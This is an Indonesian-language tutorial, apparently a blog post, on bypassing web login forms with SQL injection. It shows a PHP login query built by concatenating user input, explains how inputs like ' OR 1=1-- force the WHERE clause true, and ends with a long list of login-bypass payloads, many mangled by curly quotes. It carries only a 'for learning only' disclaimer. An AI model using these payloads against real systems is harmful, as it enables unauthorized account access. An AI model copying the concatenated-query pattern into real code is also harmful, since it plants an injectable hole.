disini kita hanya memerlukan keberuntungan,...
yang akan saya share kali ini tentang teknik login bypass (jurus jadul) ,
kenapa bisa begitu ? tanya kenapa ? :v
berikut contoh sebuah command login : (*tidak semua command seperti ini)
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";
pada login yang valid (dari admin beneran), query akan menjadi seperti ini:
$query = "select * from user where username='admin' AND password='bf3c64427a9d5a3c4e610a876bd0b5be'";
query tersebut benar, dan benar2 melakukan pengecekan apakah user admin dengan password bf3c64427a9d5a3c4e610a876bd0b5be ada di database. jika tidak ada, return false dan tidak bisa login. jika ada, return true dan login.
username='admin' AND password='bf3c64427a9d5a3c4e610a876bd0b5be'
kedua hal tersebut adalah statement yg di cek oleh query mysql.
namun ternyata pengecekan tersebut bisa di lewati dengan membuat query memberikan return true. kita hanya perlu membuat query selalu memberikan nilai benar. salah satu yg bisa kita lakukan adalah dengan menambahkan statement OR dengan statement yg memberikan return true. misal 1=1
OR 1=1
sehingga, kita perlu membuat query menjadi seperti ini :
$query = "select * from user where username='admin' OR 1=1 AND password='bf3c64427a9d5a3c4e610a876bd0b5be' OR 1=1";
bgmana caranya ?
sedangkan username yang akan kita isikan nanti akan ada di antara ' dan ' ?
kenapa OR 1=1 berada di luar tanda ' ?
nah,.. itu die gue juga bingung
gini caranya jeng,..
kan yang nanti akan kita input berada di antara tanda ' dan ' , ya kan ?
berarti kita tinggal masukin username nya misalnya seperti ini (berlaku juga dengan password) ;
gueganteng' OR 1=1--
maka akan menjadi seperti ini:
$query = "select * from user where username='gueganteng' OR 1=1--' AND password='gueganteng' OR 1=1--'";
perhatikan username='gueganteng' OR 1=1--'
tapi kok kenapa tu ada 1 tanda petik nganggur --> ' ga ke tutup ?
info :
dengan memberikan comment mysql: --
pengecekan di belakang coment akan di lewati
nahh udah ngarti kan ?
ato masih mumet ? , coba baca2 lagi dah pasti ntar juga ngarti ndiri :p
perhatikan hukum logika berikut pada argument AND:
true AND true = true
true AND false = false
false AND false = false
false AND true = false
"AND" membandingkan true dengan true. jika kedua terbanding bernilai true, maka return true. jika salah satu atau kedua nya false, maka return false.
namun, berbeda dengan OR.
true OR true = true
true OR false = true
false OR true = true
false OR false = false
jika salah satu TRUE, maka return akan memberikan TRUE.
nah, perhatikan query setellah di inject:
$query = "select * from user where username='gueganteng' OR 1=1--' AND password='gueganteng' OR 1=1--'";
1=1 ----> true
gueganteng OR true = true
walapun user "gueganteng" tidak pernah ada, maka query akan selalu memberikan nilai true, karena 1=1 adalah benar (true).
kita bisa tanpa memberikan username sama sekali. sehingga injeksi akan menjadi seperti ini jika kita menggunakan username dan password yg sama : ' or 1=1--
$query = "select * from user where username='' or 1=1--' AND password='' or 1=1--'";
hal yg perlu kita perhatikan untuk bypass login adalah nilai true yg di keluarkan dan tidak terjadinya error pada script. sehingga penggunaan tanda baca sangat fatal pada injeksi seperti ini.
dengan memperhatikan output nilai true dan script berjalan dengan benar (tanpa error), kita bisa mencoba berbagai variasi username dan password untuk bisa login. misal
a' or 'a'='a
dengan demikian, kita telah memanipulasi query menjadi seperti ini:
$query = "select * from user where username='a' or 'a'='a' AND password='a' or 'a'='a'";
tidak ada tanda kutip yang tidak tertutup, sehingga query berjalan lancar. statement OR memberikan nilai true, karena 'a'='a' adalah benar. mysql query memang sangat peka terhadap tanda petik. jangan ada tanda petik yg tidak tertutup.
berbagai variasi injeksi login seperti berikut:
‘ or 1=1 or ”=’
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
' or 1=1
' or '1'='1'
1' or 1=1
1' or '1'='1'
' or 'z'='z
‘) or ’1'=’1–
‘) or (’1'=’1–
” or 1=1–
or 1=1–
‘or 0=0 –
‘or ‘x’='x
‘or a=a-
“or 0=0 –
“or 0=0 #
“or “x”=”x
“)or(“a”=”a
admin’–
hi” or 1=1 –
hi’ or’a'=’a
hi”)or(“a”=”a
or 0=0 #
or a=a–
‘or 0=0 #
‘having 1=1–
“or 1=1–
“or “a”=”a
‘)or(‘a’='a
‘)or(‘x’='x
hi” or “a”=”a
hi’ or 1=1 –
hi’)or(‘a’='a
or 0=0 –
or 1=1–
1'or’1'=’1
dll, sesuai kreasi kita.
*administrator biasanya berbeda orang berbeda pula cara coding. sehingga berbagai variasi injeksi akan sangat mungkin terjadi.
saya tidak bertanggung jawab atas apa yang anda lakukan, ini hanya untuk materi pembelajaran saja
Semoga bermanfaat, terima kasih ^_^